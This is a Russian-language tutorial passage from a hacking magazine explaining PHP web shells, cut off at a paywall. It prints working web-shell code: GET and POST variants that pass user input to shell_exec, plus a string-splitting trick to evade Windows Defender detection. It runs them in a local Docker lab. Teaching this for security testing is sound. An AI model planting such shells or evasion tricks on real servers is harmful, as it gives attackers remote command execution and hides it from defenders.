Содержание статьи
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Веб‑шелл (web-sell, веб‑оболочка) — инструмент для комфортного удаленного выполнения кода на сервере. Обычно это скрипт, который работает как обычное веб‑приложение. Задача скрипта — выполнить в системе отправленную пользователем команду и вернуть результат. Скрипт пишется на языке, который установлен на конкретном веб‑сервере.
Чаще всего это скрипт на PHP, так как PHP — самый распространенный на вебе серверный язык программирования. Но веб‑шелл может быть написан и на любом другом языке: Python, JavaScript (Node.js), Java, Go и прочих. Конкретная платформа зависит от того, как сконфигурирован сервер и какие интерпретаторы установлены.
Читая статьи про веб‑шеллы, ты чаще всего встретишь формулировку «вредоносная программа». На самом деле веб‑шеллами пользуются и для администрирования серверов, чтобы не коннектиться все время по SSH или RDP. Вредоносность появляется только в том случае, когда веб‑шелл загружен на сервер несанкционированно и используется хакером для захвата контроля.
Простейший пример веб‑шелла на PHP:
<pre> <?php echo shell_exec($_GET['cmd']); ?></pre>Скрипт получает GET-параметр cmd и передает на выполнение функции shell_exec(. Функция shell_exec( сообщает веб‑серверу, что нужно выполнить определенный код в операционной системе. Результат выполнения возвращается на веб‑страницу. Обертка <pre>.../ нужна, чтобы вывод был читаемым, а не сваленными в кучу символами.
Давай на практическом примере посмотрим, как это работает. Для этого сохрани пример веб‑шелла в файл shell. и запусти Docker-контейнер, примонтировав папку. Выполни команду
docker run --rm -p 8080:80 -v $(pwd):/var/www/html php:8.2-apache
В Windows PowerShell могут потребоваться кавычки:
docker run --rm -p 8080:80 -v "${PWD}:/var/www/html" php:8.2-apacheПосле запуска контейнера открой в браузере такой URL:
http://
На странице увидишь классическую работу ls .
Попробуй вместо ls команды вроде whoami, id, uname или любые другие команды операционной системы.
В Windows могут возникнуть проблемы с запуском. Штатный защитник, видя в файле shell_exec( или system(, классифицирует файл как вредоносный и удаляет его. Банальная обфускация решит проблему:
<pre> <?php $f = "shel"."l_"."exec"; echo $f($_GET['cmd']); ?></pre>GET-параметры — неплохой вариант для начала, но не самый удобный. Для комфортной работы попробуй альтернативу со строкой ввода и POST-запросом:
<form method="POST"> <input type="text" name="cmd" placeholder="Enter command"> <button type="submit">Execute</button></form><pre><?php$f = "shel"."l_"."exec";echo $f($_POST['cmd']);?></pre>Сохрани файл как shell2. и протестируй http://localhost:8080/shell2.php. Теперь ты можешь комфортно отправлять любые команды и не париться по поводу того, что забыл где‑то исправить пробел на %20.
Обход защиты
Плюс веб‑шелла в том, что он выполняется в контексте веб‑приложения. Тебе не нужно создавать отдельный коннект, а значит, отпадает необходимость обхода файрвола. Но файрвол — это только один из способов защиты.
В Docker наш проект полностью открыт атакам. В реальной жизни на сервере может быть установлен Web Application Firewall (WAF), настроенный на блокировку запросов, содержащих системные команды. В таких случаях атакующему приходится придумывать способ обфускации (то есть скрытия), который позволит обойти WAF. Поскольку тот чаще всего работает по определенным правилам, это вполне возможно.
Продолжение доступно только участникам
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
